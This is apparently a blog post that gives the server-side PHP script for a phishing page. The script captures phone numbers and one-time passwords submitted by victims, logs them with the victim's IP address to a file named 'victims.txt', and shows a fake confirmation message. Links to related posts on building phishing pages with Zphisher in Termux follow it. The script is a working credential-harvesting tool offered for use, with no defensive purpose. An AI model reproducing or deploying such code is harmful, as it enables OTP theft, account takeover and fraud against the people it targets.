Nano save.php

 <?php

if (isset($_POST['number']) && isset($_POST['otp'])) {

    $number = htmlspecialchars($_POST['number']);

    $otp = htmlspecialchars($_POST['otp']);

    $ip = $_SERVER['REMOTE_ADDR'];

    $time = date("Y-m-d H:i:s");


    $log = "IP: $ip\nNumber: $number\nOTP: $otp\nTime: $time\n------------------\n";

    file_put_contents("victims.txt", $log, FILE_APPEND);

    echo "<h2 style='color:green;'>✅ Thank you! Your request is being processed.</h2>";

} else {

    echo "<h2 style='color:red;'>❌ Missing input!</h2>";

}

?>

Comments

Popular posts from this blog

🔥 How to Create a Phishing Page with Zphisher & Cloudflare in Termux (Step-by-Step Guide)

nano index.html

Nano otp html